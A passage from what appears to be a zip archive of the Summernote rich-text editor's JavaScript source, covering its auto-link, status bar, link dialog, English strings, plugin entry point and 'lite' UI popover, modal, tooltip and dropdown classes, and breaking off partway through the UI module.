  destroy() {
    this.$popover.remove();
  }

  update() {
    const styleInfo = this.context.invoke('editor.currentStyle');
    if (styleInfo.range && !styleInfo.range.isCollapsed()) {
      const rect = lists.last(styleInfo.range.getClientRects());
      if (rect) {
        const bnd = func.rect2bnd(rect);
        this.$popover.css({
          display: 'block',
          left: Math.max(bnd.left + bnd.width / 2, 0) - AIR_MODE_POPOVER_X_OFFSET,
          top: bnd.top + bnd.height
        });
        this.context.invoke('buttons.updateCurrentStyle', this.$popover);
      }
    } else {
      this.hide();
    }
  }

  hide() {
    this.$popover.hide();
  }
}
PK�{�\
���js/base/module/AutoLink.jsnu�[���import $ from 'jquery';
import lists from '../core/lists';
import key from '../core/key';

const defaultScheme = 'http://';
const linkPattern = /^([A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?|mailto:[A-Z0-9._%+-]+@)?(www\.)?(.+)$/i;

export default class AutoLink {
  constructor(context) {
    this.context = context;
    this.events = {
      'summernote.keyup': (we, e) => {
        if (!e.isDefaultPrevented()) {
          this.handleKeyup(e);
        }
      },
      'summernote.keydown': (we, e) => {
        this.handleKeydown(e);
      }
    };
  }

  initialize() {
    this.lastWordRange = null;
  }

  destroy() {
    this.lastWordRange = null;
  }

  replace() {
    if (!this.lastWordRange) {
      return;
    }

    const keyword = this.lastWordRange.toString();
    const match = keyword.match(linkPattern);

    if (match && (match[1] || match[2])) {
      const link = match[1] ? keyword : defaultScheme + keyword;
      const node = $('<a />').html(keyword).attr('href', link)[0];

      this.lastWordRange.insertNode(node);
      this.lastWordRange = null;
      this.context.invoke('editor.focus');
    }
  }

  handleKeydown(e) {
    if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {
      const wordRange = this.context.invoke('editor.createRange').getWordRange();
      this.lastWordRange = wordRange;
    }
  }

  handleKeyup(e) {
    if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {
      this.replace();
    }
  }
}
PK�{�\	Q���js/base/module/Statusbar.jsnu�[���import $ from 'jquery';
const EDITABLE_PADDING = 24;

export default class Statusbar {
  constructor(context) {
    this.$document = $(document);
    this.$statusbar = context.layoutInfo.statusbar;
    this.$editable = context.layoutInfo.editable;
    this.options = context.options;
  }

  initialize() {
    if (this.options.airMode || this.options.disableResizeEditor) {
      this.destroy();
      return;
    }

    this.$statusbar.on('mousedown', (event) => {
      event.preventDefault();
      event.stopPropagation();

      const editableTop = this.$editable.offset().top - this.$document.scrollTop();
      const onMouseMove = (event) => {
        let height = event.clientY - (editableTop + EDITABLE_PADDING);

        height = (this.options.minheight > 0) ? Math.max(height, this.options.minheight) : height;
        height = (this.options.maxHeight > 0) ? Math.min(height, this.options.maxHeight) : height;

        this.$editable.height(height);
      };

      this.$document.on('mousemove', onMouseMove).one('mouseup', () => {
        this.$document.off('mousemove', onMouseMove);
      });
    });
  }

  destroy() {
    this.$statusbar.off();
    this.$statusbar.addClass('locked');
  }
}
PK�{�\L��ffjs/base/module/LinkDialog.jsnu�[���import $ from 'jquery';
import env from '../core/env';
import key from '../core/key';

export default class LinkDialog {
  constructor(context) {
    this.context = context;

    this.ui = $.summernote.ui;
    this.$body = $(document.body);
    this.$editor = context.layoutInfo.editor;
    this.options = context.options;
    this.lang = this.options.langInfo;

    context.memo('help.linkDialog.show', this.options.langInfo.help['linkDialog.show']);
  }

  initialize() {
    const $container = this.options.dialogsInBody ? this.$body : this.$editor;

    const body = [
      '<div class="form-group note-form-group">',
      `<label class="note-form-label">${this.lang.link.textToDisplay}</label>`,
      '<input class="note-link-text form-control note-form-control  note-input" type="text" />',
      '</div>',
      '<div class="form-group note-form-group">',
      `<label class="note-form-label">${this.lang.link.url}</label>`,
      '<input class="note-link-url form-control note-form-control note-input" type="text" value="http://" />',
      '</div>',
      !this.options.disableLinkTarget
        ? $('<div/>').append(this.ui.checkbox({
          id: 'sn-checkbox-open-in-new-window',
          text: this.lang.link.openInNewWindow,
          checked: true
        }).render()).html()
        : ''
    ].join('');

    const buttonClass = 'btn btn-primary note-btn note-btn-primary note-link-btn';
    const footer = `<button type="submit" href="#" class="${buttonClass}" disabled>${this.lang.link.insert}</button>`;

    this.$dialog = this.ui.dialog({
      className: 'link-dialog',
      title: this.lang.link.insert,
      fade: this.options.dialogsFade,
      body: body,
      footer: footer
    }).render().appendTo($container);
  }

  destroy() {
    this.ui.hideDialog(this.$dialog);
    this.$dialog.remove();
  }

  bindEnterKey($input, $btn) {
    $input.on('keypress', (event) => {
      if (event.keyCode === key.code.ENTER) {
        event.preventDefault();
        $btn.trigger('click');
      }
    });
  }

  /**
   * toggle update button
   */
  toggleLinkBtn($linkBtn, $linkText, $linkUrl) {
    this.ui.toggleBtn($linkBtn, $linkText.val() && $linkUrl.val());
  }

  /**
   * Show link dialog and set event handlers on dialog controls.
   *
   * @param {Object} linkInfo
   * @return {Promise}
   */
  showLinkDialog(linkInfo) {
    return $.Deferred((deferred) => {
      const $linkText = this.$dialog.find('.note-link-text');
      const $linkUrl = this.$dialog.find('.note-link-url');
      const $linkBtn = this.$dialog.find('.note-link-btn');
      const $openInNewWindow = this.$dialog.find('input[type=checkbox]');

      this.ui.onDialogShown(this.$dialog, () => {
        this.context.triggerEvent('dialog.shown');

        // if no url was given, copy text to url
        if (!linkInfo.url) {
          linkInfo.url = linkInfo.text;
        }

        $linkText.val(linkInfo.text);

        const handleLinkTextUpdate = () => {
          this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);
          // if linktext was modified by keyup,
          // stop cloning text from linkUrl
          linkInfo.text = $linkText.val();
        };

        $linkText.on('input', handleLinkTextUpdate).on('paste', () => {
          setTimeout(handleLinkTextUpdate, 0);
        });

        const handleLinkUrlUpdate = () => {
          this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);
          // display same link on `Text to display` input
          // when create a new link
          if (!linkInfo.text) {
            $linkText.val($linkUrl.val());
          }
        };

        $linkUrl.on('input', handleLinkUrlUpdate).on('paste', () => {
          setTimeout(handleLinkUrlUpdate, 0);
        }).val(linkInfo.url);

        if (!env.isSupportTouch) {
          $linkUrl.trigger('focus');
        }

        this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);
        this.bindEnterKey($linkUrl, $linkBtn);
        this.bindEnterKey($linkText, $linkBtn);

        const isChecked = linkInfo.isNewWindow !== undefined
          ? linkInfo.isNewWindow : this.context.options.linkTargetBlank;

        $openInNewWindow.prop('checked', isChecked);

        $linkBtn.one('click', (event) => {
          event.preventDefault();

          deferred.resolve({
            range: linkInfo.range,
            url: $linkUrl.val(),
            text: $linkText.val(),
            isNewWindow: $openInNewWindow.is(':checked')
          });
          this.ui.hideDialog(this.$dialog);
        });
      });

      this.ui.onDialogHidden(this.$dialog, () => {
        // detach events
        $linkText.off('input paste keypress');
        $linkUrl.off('input paste keypress');
        $linkBtn.off('click');

        if (deferred.state() === 'pending') {
          deferred.reject();
        }
      });

      this.ui.showDialog(this.$dialog);
    }).promise();
  }

  /**
   * @param {Object} layoutInfo
   */
  show() {
    const linkInfo = this.context.invoke('editor.getLinkInfo');

    this.context.invoke('editor.saveRange');
    this.showLinkDialog(linkInfo).then((linkInfo) => {
      this.context.invoke('editor.restoreRange');
      this.context.invoke('editor.createLink', linkInfo);
    }).fail(() => {
      this.context.invoke('editor.restoreRange');
    });
  }
}
PK�{�\$����js/base/summernote-en-US.jsnu�[���import $ from 'jquery';

$.summernote = $.summernote || {
  lang: {}
};

$.extend($.summernote.lang, {
  'en-US': {
    font: {
      bold: 'Bold',
      italic: 'Italic',
      underline: 'Underline',
      clear: 'Remove Font Style',
      height: 'Line Height',
      name: 'Font Family',
      strikethrough: 'Strikethrough',
      subscript: 'Subscript',
      superscript: 'Superscript',
      size: 'Font Size'
    },
    image: {
      image: 'Picture',
      insert: 'Insert Image',
      resizeFull: 'Resize Full',
      resizeHalf: 'Resize Half',
      resizeQuarter: 'Resize Quarter',
      floatLeft: 'Float Left',
      floatRight: 'Float Right',
      floatNone: 'Float None',
      shapeRounded: 'Shape: Rounded',
      shapeCircle: 'Shape: Circle',
      shapeThumbnail: 'Shape: Thumbnail',
      shapeNone: 'Shape: None',
      dragImageHere: 'Drag image or text here',
      dropImage: 'Drop image or Text',
      selectFromFiles: 'Select from files',
      maximumFileSize: 'Maximum file size',
      maximumFileSizeError: 'Maximum file size exceeded.',
      url: 'Image URL',
      remove: 'Remove Image',
      original: 'Original'
    },
    video: {
      video: 'Video',
      videoLink: 'Video Link',
      insert: 'Insert Video',
      url: 'Video URL',
      providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'
    },
    link: {
      link: 'Link',
      insert: 'Insert Link',
      unlink: 'Unlink',
      edit: 'Edit',
      textToDisplay: 'Text to display',
      url: 'To what URL should this link go?',
      openInNewWindow: 'Open in new window'
    },
    table: {
      table: 'Table',
      addRowAbove: 'Add row above',
      addRowBelow: 'Add row below',
      addColLeft: 'Add column left',
      addColRight: 'Add column right',
      delRow: 'Delete row',
      delCol: 'Delete column',
      delTable: 'Delete table'
    },
    hr: {
      insert: 'Insert Horizontal Rule'
    },
    style: {
      style: 'Style',
      p: 'Normal',
      blockquote: 'Quote',
      pre: 'Code',
      h1: 'Header 1',
      h2: 'Header 2',
      h3: 'Header 3',
      h4: 'Header 4',
      h5: 'Header 5',
      h6: 'Header 6'
    },
    lists: {
      unordered: 'Unordered list',
      ordered: 'Ordered list'
    },
    options: {
      help: 'Help',
      fullscreen: 'Full Screen',
      codeview: 'Code View'
    },
    paragraph: {
      paragraph: 'Paragraph',
      outdent: 'Outdent',
      indent: 'Indent',
      left: 'Align left',
      center: 'Align center',
      right: 'Align right',
      justify: 'Justify full'
    },
    color: {
      recent: 'Recent Color',
      more: 'More Color',
      background: 'Background Color',
      foreground: 'Foreground Color',
      transparent: 'Transparent',
      setTransparent: 'Set transparent',
      reset: 'Reset',
      resetToDefault: 'Reset to default'
    },
    shortcut: {
      shortcuts: 'Keyboard shortcuts',
      close: 'Close',
      textFormatting: 'Text formatting',
      action: 'Action',
      paragraphFormatting: 'Paragraph formatting',
      documentStyle: 'Document Style',
      extraKeys: 'Extra keys'
    },
    help: {
      'insertParagraph': 'Insert Paragraph',
      'undo': 'Undoes the last command',
      'redo': 'Redoes the last command',
      'tab': 'Tab',
      'untab': 'Untab',
      'bold': 'Set a bold style',
      'italic': 'Set a italic style',
      'underline': 'Set a underline style',
      'strikethrough': 'Set a strikethrough style',
      'removeFormat': 'Clean a style',
      'justifyLeft': 'Set left align',
      'justifyCenter': 'Set center align',
      'justifyRight': 'Set right align',
      'justifyFull': 'Set full align',
      'insertUnorderedList': 'Toggle unordered list',
      'insertOrderedList': 'Toggle ordered list',
      'outdent': 'Outdent on current paragraph',
      'indent': 'Indent on current paragraph',
      'formatPara': 'Change current block\'s format as a paragraph(P tag)',
      'formatH1': 'Change current block\'s format as H1',
      'formatH2': 'Change current block\'s format as H2',
      'formatH3': 'Change current block\'s format as H3',
      'formatH4': 'Change current block\'s format as H4',
      'formatH5': 'Change current block\'s format as H5',
      'formatH6': 'Change current block\'s format as H6',
      'insertHorizontalRule': 'Insert horizontal rule',
      'linkDialog.show': 'Show Link Dialog'
    },
    history: {
      undo: 'Undo',
      redo: 'Redo'
    },
    specialChar: {
      specialChar: 'SPECIAL CHARACTERS',
      select: 'Select Special characters'
    }
  }
});
PK�{�\��P��js/summernote.jsnu�[���import $ from 'jquery';
import env from './base/core/env';
import lists from './base/core/lists';
import Context from './base/Context';

$.fn.extend({
  /**
   * Summernote API
   *
   * @param {Object|String}
   * @return {this}
   */
  summernote: function() {
    const type = $.type(lists.head(arguments));
    const isExternalAPICalled = type === 'string';
    const hasInitOptions = type === 'object';

    const options = $.extend({}, $.summernote.options, hasInitOptions ? lists.head(arguments) : {});

    // Update options
    options.langInfo = $.extend(true, {}, $.summernote.lang['en-US'], $.summernote.lang[options.lang]);
    options.icons = $.extend(true, {}, $.summernote.options.icons, options.icons);
    options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip;

    this.each((idx, note) => {
      const $note = $(note);
      if (!$note.data('summernote')) {
        const context = new Context($note, options);
        $note.data('summernote', context);
        $note.data('summernote').triggerEvent('init', context.layoutInfo);
      }
    });

    const $note = this.first();
    if ($note.length) {
      const context = $note.data('summernote');
      if (isExternalAPICalled) {
        return context.invoke.apply(context, lists.from(arguments));
      } else if (options.focus) {
        context.invoke('editor.focus');
      }
    }

    return this;
  }
});
PK�{�\�i��js/lite/ui/PopoverUI.jsnu�[���class PopoverUI {
  constructor($node, options) {
    this.$node = $node;
    this.options = $.extend({}, {
      title: '',
      content: '',
      target: options.container,
      trigger: 'hover focus',
      placement: 'bottom'
    }, options);

    // create popover node
    this.$popover = $([
      '<div class="note-popover in">',
      ' <div class="note-popover-arrow" />',
      ' <div class="note-popover-content" />',
      '</div>'
    ].join(''));

    // define event
    if (this.options.trigger !== 'manual') {
      const showCallback = this.show.bind(this);
      const hideCallback = this.hide.bind(this);
      const toggleCallback = this.toggle.bind(this);
      this.options.trigger.split(' ').forEach(function(eventName) {
        if (eventName === 'hover') {
          $node.off('mouseenter').on('mouseenter', showCallback);
          $node.off('mouseleave').on('mouseleave', hideCallback);
        } else if (eventName === 'click') {
          $node.on('click', toggleCallback);
        } else if (eventName === 'focus') {
          $node.on('focus', showCallback);
          $node.on('blur', hideCallback);
        }
      });
    }
  }

  show() {
    const $node = this.$node;
    const offset = $node.offset();
    const $popover = this.$popover;
    const content = this.options.content || $node.data('content');
    const placement = $node.data('placement') || this.options.placement;
    const dist = 6;

    $popover.addClass(placement);
    $popover.addClass('in');
    $popover.find('.note-popover-content').html(content);
    $popover.appendTo(this.options.target);

    const nodeWidth = $node.outerWidth();
    const nodeHeight = $node.outerHeight();
    const popoverWidth = $popover.outerWidth();
    const popoverHeight = $popover.outerHeight();

    if (placement === 'bottom') {
      $popover.css({
        top: offset.top + nodeHeight + dist,
        left: offset.left + (nodeWidth / 2 - popoverWidth / 2)
      });
    } else if (placement === 'top') {
      $popover.css({
        top: offset.top - popoverHeight - dist,
        left: offset.left + (nodeWidth / 2 - popoverWidth / 2)
      });
    } else if (placement === 'left') {
      $popover.css({
        top: offset.top + (nodeHeight / 2 - popoverHeight / 2),
        left: offset.left - popoverWidth - dist
      });
    } else if (placement === 'right') {
      $popover.css({
        top: offset.top + (nodeHeight / 2 - popoverHeight / 2),
        left: offset.left + nodeWidth + dist
      });
    }
  }

  hide() {
    this.$popover.removeClass('in');
    this.$popover.remove();
  }

  toggle() {
    if (this.$popover.hasClass('in')) {
      this.hide();
    } else {
      this.show();
    }
  }
}

export default PopoverUI;
PK�{�\3�o��js/lite/ui/ModalUI.jsnu�[���class ModalUI {
  constructor($node, options) {
    this.options = $.extend({}, {
      target: options.container || 'body'
    }, options);

    this.$modal = $node;
    this.$backdrop = $('<div class="note-modal-backdrop" />');
  }

  show() {
    if (this.options.target === 'body') {
      this.$backdrop.css('position', 'fixed');
      this.$modal.css('position', 'fixed');
    } else {
      this.$backdrop.css('position', 'absolute');
      this.$modal.css('position', 'absolute');
    }

    this.$backdrop.appendTo(this.options.target).show();
    this.$modal.appendTo(this.options.target).addClass('open').show();

    this.$modal.trigger('note.modal.show');
    this.$modal.off('click', '.close').on('click', '.close', this.hide.bind(this));
  }

  hide() {
    this.$modal.removeClass('open').hide();
    this.$backdrop.hide();
    this.$modal.trigger('note.modal.hide');
  }
}

export default ModalUI;
PK�{�\<N7D�
�
js/lite/ui/TooltipUI.jsnu�[���class TooltipUI {
  constructor($node, options) {
    this.$node = $node;
    this.options = $.extend({}, {
      title: '',
      target: options.container,
      trigger: 'hover focus',
      placement: 'bottom'
    }, options);

    // create tooltip node
    this.$tooltip = $([
      '<div class="note-tooltip in">',
      '  <div class="note-tooltip-arrow"/>',
      '  <div class="note-tooltip-content"/>',
      '</div>'
    ].join(''));

    // define event
    if (this.options.trigger !== 'manual') {
      const showCallback = this.show.bind(this);
      const hideCallback = this.hide.bind(this);
      const toggleCallback = this.toggle.bind(this);

      this.options.trigger.split(' ').forEach(function(eventName) {
        if (eventName === 'hover') {
          $node.off('mouseenter mouseleave');
          $node.on('mouseenter', showCallback).on('mouseleave', hideCallback);
        } else if (eventName === 'click') {
          $node.on('click', toggleCallback);
        } else if (eventName === 'focus') {
          $node.on('focus', showCallback).on('blur', hideCallback);
        }
      });
    }
  }

  show() {
    const $node = this.$node;
    const offset = $node.offset();

    const $tooltip = this.$tooltip;
    const title = this.options.title || $node.attr('title') || $node.data('title');
    const placement = this.options.placement || $node.data('placement');

    $tooltip.addClass(placement);
    $tooltip.addClass('in');
    $tooltip.find('.note-tooltip-content').text(title);
    $tooltip.appendTo(this.options.target);

    const nodeWidth = $node.outerWidth();
    const nodeHeight = $node.outerHeight();
    const tooltipWidth = $tooltip.outerWidth();
    const tooltipHeight = $tooltip.outerHeight();

    if (placement === 'bottom') {
      $tooltip.css({
        top: offset.top + nodeHeight,
        left: offset.left + (nodeWidth / 2 - tooltipWidth / 2)
      });
    } else if (placement === 'top') {
      $tooltip.css({
        top: offset.top - tooltipHeight,
        left: offset.left + (nodeWidth / 2 - tooltipWidth / 2)
      });
    } else if (placement === 'left') {
      $tooltip.css({
        top: offset.top + (nodeHeight / 2 - tooltipHeight / 2),
        left: offset.left - tooltipWidth
      });
    } else if (placement === 'right') {
      $tooltip.css({
        top: offset.top + (nodeHeight / 2 - tooltipHeight / 2),
        left: offset.left + nodeWidth
      });
    }
  }

  hide() {
    this.$tooltip.removeClass('in');
    this.$tooltip.remove();
  }

  toggle() {
    if (this.$tooltip.hasClass('in')) {
      this.hide();
    } else {
      this.show();
    }
  }
}

export default TooltipUI;
PK�{�\�?T5ddjs/lite/ui/DropdownUI.jsnu�[���class DropdownUI {
  constructor($node, options) {
    this.$button = $node;
    this.options = $.extend({}, {
      target: options.container
    }, options);
    this.setEvent();
  }

  setEvent() {
    this.$button.on('click', this.toggle.bind(this));
  }

  clear() {
    var $parent = $('.note-btn-group.open');
    $parent.find('.note-btn.active').removeClass('active');
    $parent.removeClass('open');
  }

  show() {
    this.$button.addClass('active');
    this.$button.parent().addClass('open');

    var $dropdown = this.$button.next();
    var offset = $dropdown.offset();
    var width = $dropdown.outerWidth();
    var windowWidth = $(window).width();
    var targetMarginRight = parseFloat($(this.options.target).css('margin-right'));

    if (offset.left + width > windowWidth - targetMarginRight) {
      $dropdown.css('margin-left', windowWidth - targetMarginRight - (offset.left + width));
    } else {
      $dropdown.css('margin-left', '');
    }
  }

  hide() {
    this.$button.removeClass('active');
    this.$button.parent().removeClass('open');
  }

  toggle() {
    var isOpened = this.$button.parent().hasClass('open');

    this.clear();

    if (isOpened) {
      this.hide();
    } else {
      this.show();
    }
  }
}

$(document).on('click', function(e) {
  if (!$(e.target).closest('.note-btn-group').length) {
    $('.note-btn-group.open').removeClass('open');
  }
});

$(document).on('click.note-dropdown-menu', function(e) {
  $(e.target).closest('.note-dropdown-menu').parent().removeClass('open');
});

export default DropdownUI;
PK�{�\R�%((js/lite/settings.jsnu�[���import $ from 'jquery';
import ui from './ui';
import '../base/summernote-en-US';
import Editor from '../base/module/Editor';
import Clipboard from '../base/module/Clipboard';
import Dropzone from '../base/module/Dropzone';
import Codeview from '../base/module/Codeview';
import Statusbar from '../base/module/Statusbar';
import Fullscreen from '../base/module/Fullscreen';
import Handle from '../base/module/Handle';
import AutoLink from '../base/module/AutoLink';
import AutoSync from '../base/module/AutoSync';
import Placeholder from '../base/module/Placeholder';
import Buttons from '../base/module/Buttons';
import Toolbar from '../base/module/Toolbar';
import LinkDialog from '../base/module/LinkDialog';
import LinkPopover from '../base/module/LinkPopover';
import ImageDialog from '../base/module/ImageDialog';
import ImagePopover from '../base/module/ImagePopover';
import TablePopover from '../base/module/TablePopover';
import VideoDialog from '../base/module/VideoDialog';
import HelpDialog from '../base/module/HelpDialog';
import AirPopover from '../base/module/AirPopover';
import HintPopover from '../base/module/HintPopover';

$.summernote = $.extend($.summernote, {
  version: '@@VERSION@@',
  ui: ui,

  plugins: {},

  options: {
    modules: {
      'editor': Editor,
      'clipboard': Clipboard,
      'dropzone': Dropzone,
      'codeview': Codeview,
      'statusbar': Statusbar,
      'fullscreen': Fullscreen,
      'handle': Handle,
      // FIXME: HintPopover must be front of autolink
      //  - Script error about range when Enter key is pressed on hint popover
      'hintPopover': HintPopover,
      'autoLink': AutoLink,
      'autoSync': AutoSync,
      'placeholder': Placeholder,
      'buttons': Buttons,
      'toolbar': Toolbar,
      'linkDialog': LinkDialog,
      'linkPopover': LinkPopover,
      'imageDialog': ImageDialog,
      'imagePopover': ImagePopover,
      'tablePopover': TablePopover,
      'videoDialog': VideoDialog,
      'helpDialog': HelpDialog,
      'airPopover': AirPopover
    },

    buttons: {},

    lang: 'en-US',

    followingToolbar: true,
    otherStaticBar: '',

    // toolbar
    toolbar: [
      ['style', ['style']],
      ['font', ['bold', 'underline', 'clear']],
      ['fontname', ['fontname']],
      ['fontsize', ['fontsize']],
      ['color', ['color']],
      ['para', ['ul', 'ol', 'paragraph']],
      ['table', ['table']],
      ['insert', ['link', 'picture', 'video']],
      ['view', ['fullscreen', 'codeview', 'help']]
    ],

    // popover
    popatmouse: true,
    popover: {
      image: [
        ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],
        ['float', ['floatLeft', 'floatRight', 'floatNone']],
        ['remove', ['removeMedia']]
      ],
      link: [
        ['link', ['linkDialogShow', 'unlink']]
      ],
      table: [
        ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],
        ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]
      ],
      air: [
        ['color', ['color']],
        ['font', ['bold', 'underline', 'clear']],
        ['para', ['ul', 'paragraph']],
        ['table', ['table']],
        ['insert', ['link', 'picture']]
      ]
    },

    // air mode: inline editor
    airMode: false,

    width: null,
    height: null,

    focus: false,
    tabSize: 4,
    styleWithSpan: true,
    shortcuts: true,
    textareaAutoSync: true,
    hintDirection: 'bottom',
    tooltip: 'auto',
    container: 'body',
    maxTextLength: 0,

    styleTags: ['p', 'pre', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'],

    fontNames: [
      'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New',
      'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande',
      'Tahoma', 'Times New Roman', 'Verdana'
    ],

    fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'],

    // pallete colors(n x n)
    colors: [
      ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'],
      ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'],
      ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'],
      ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'],
      ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'],
      ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'],
      ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'],
      ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031']
    ],

    // http://chir.ag/projects/name-that-color/
    colorsName: [
      ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'],
      ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'],
      ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'],
      ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'],
      ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'],
      ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'],
      ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'],
      ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou']
    ],

    lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'],

    tableClassName: 'table table-bordered',

    insertTableMaxSize: {
      col: 10,
      row: 10
    },

    dialogsInBody: false,
    dialogsFade: false,

    maximumImageFileSize: null,

    callbacks: {
      onInit: null,
      onFocus: null,
      onBlur: null,
      onBlurCodeview: null,
      onEnter: null,
      onKeyup: null,
      onKeydown: null,
      onSubmit: null,
      onImageUpload: null,
      onImageUploadError: null
    },

    codemirror: {
      mode: 'text/html',
      htmlMode: true,
      lineNumbers: true
    },

    keyMap: {
      pc: {
        'ENTER': 'insertParagraph',
        'CTRL+Z': 'undo',
        'CTRL+Y': 'redo',
        'TAB': 'tab',
        'SHIFT+TAB': 'untab',
        'CTRL+B': 'bold',
        'CTRL+I': 'italic',
        'CTRL+U': 'underline',
        'CTRL+SHIFT+S': 'strikethrough',
        'CTRL+BACKSLASH': 'removeFormat',
        'CTRL+SHIFT+L': 'justifyLeft',
        'CTRL+SHIFT+E': 'justifyCenter',
        'CTRL+SHIFT+R': 'justifyRight',
        'CTRL+SHIFT+J': 'justifyFull',
        'CTRL+SHIFT+NUM7': 'insertUnorderedList',
        'CTRL+SHIFT+NUM8': 'insertOrderedList',
        'CTRL+LEFTBRACKET': 'outdent',
        'CTRL+RIGHTBRACKET': 'indent',
        'CTRL+NUM0': 'formatPara',
        'CTRL+NUM1': 'formatH1',
        'CTRL+NUM2': 'formatH2',
        'CTRL+NUM3': 'formatH3',
        'CTRL+NUM4': 'formatH4',
        'CTRL+NUM5': 'formatH5',
        'CTRL+NUM6': 'formatH6',
        'CTRL+ENTER': 'insertHorizontalRule',
        'CTRL+K': 'linkDialog.show'
      },

      mac: {
        'ENTER': 'insertParagraph',
        'CMD+Z': 'undo',
        'CMD+SHIFT+Z': 'redo',
        'TAB': 'tab',
        'SHIFT+TAB': 'untab',
        'CMD+B': 'bold',
        'CMD+I': 'italic',
        'CMD+U': 'underline',
        'CMD+SHIFT+S': 'strikethrough',
        'CMD+BACKSLASH': 'removeFormat',
        'CMD+SHIFT+L': 'justifyLeft',
        'CMD+SHIFT+E': 'justifyCenter',
        'CMD+SHIFT+R': 'justifyRight',
        'CMD+SHIFT+J': 'justifyFull',
        'CMD+SHIFT+NUM7': 'insertUnorderedList',
        'CMD+SHIFT+NUM8': 'insertOrderedList',
        'CMD+LEFTBRACKET': 'outdent',
        'CMD+RIGHTBRACKET': 'indent',
        'CMD+NUM0': 'formatPara',
        'CMD+NUM1': 'formatH1',
        'CMD+NUM2': 'formatH2',
        'CMD+NUM3': 'formatH3',
        'CMD+NUM4': 'formatH4',
        'CMD+NUM5': 'formatH5',
        'CMD+NUM6': 'formatH6',
        'CMD+ENTER': 'insertHorizontalRule',
        'CMD+K': 'linkDialog.show'
      }
    },
    icons: {
      'align': 'note-icon-align',
      'alignCenter': 'note-icon-align-center',
      'alignJustify': 'note-icon-align-justify',
      'alignLeft': 'note-icon-align-left',
      'alignRight': 'note-icon-align-right',
      'rowBelow': 'note-icon-row-below',
      'colBefore': 'note-icon-col-before',
      'colAfter': 'note-icon-col-after',
      'rowAbove': 'note-icon-row-above',
      'rowRemove': 'note-icon-row-remove',
      'colRemove': 'note-icon-col-remove',
      'indent': 'note-icon-align-indent',
      'outdent': 'note-icon-align-outdent',
      'arrowsAlt': 'note-icon-arrows-alt',
      'bold': 'note-icon-bold',
      'caret': 'note-icon-caret',
      'circle': 'note-icon-circle',
      'close': 'note-icon-close',
      'code': 'note-icon-code',
      'eraser': 'note-icon-eraser',
      'font': 'note-icon-font',
      'frame': 'note-icon-frame',
      'italic': 'note-icon-italic',
      'link': 'note-icon-link',
      'unlink': 'note-icon-chain-broken',
      'magic': 'note-icon-magic',
      'menuCheck': 'note-icon-menu-check',
      'minus': 'note-icon-minus',
      'orderedlist': 'note-icon-orderedlist',
      'pencil': 'note-icon-pencil',
      'picture': 'note-icon-picture',
      'question': 'note-icon-question',
      'redo': 'note-icon-redo',
      'square': 'note-icon-square',
      'strikethrough': 'note-icon-strikethrough',
      'subscript': 'note-icon-subscript',
      'superscript': 'note-icon-superscript',
      'table': 'note-icon-table',
      'textHeight': 'note-icon-text-height',
      'trash': 'note-icon-trash',
      'underline': 'note-icon-underline',
      'undo': 'note-icon-undo',
      'unorderedlist': 'note-icon-unorderedlist',
      'video': 'note-icon-video'
    }
  }
});

import '../summernote'; // eslint-disable-line
PK�{�\m�	LNN
js/lite/ui.jsnu�[���import renderer from '../base/renderer';
import TooltipUI from './ui/TooltipUI';
import DropdownUI from './ui/DropdownUI';
import ModalUI from './ui/ModalUI';

const editor = renderer.create('<div class="note-editor note-frame"/>');
const toolbar = renderer.create('<div class="note-toolbar" role="toolbar"/>');
const editingArea = renderer.create('<div class="note-editing-area"/>');
const codable = renderer.create('<textarea class="note-codable" role="textbox" aria-multiline="true"/>');
const editable = renderer.create('<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>');
const statusbar = renderer.create([
  '<output class="note-status-output" role="status" aria-live="polite"/>',
  '<div class="note-statusbar" role="resize">',
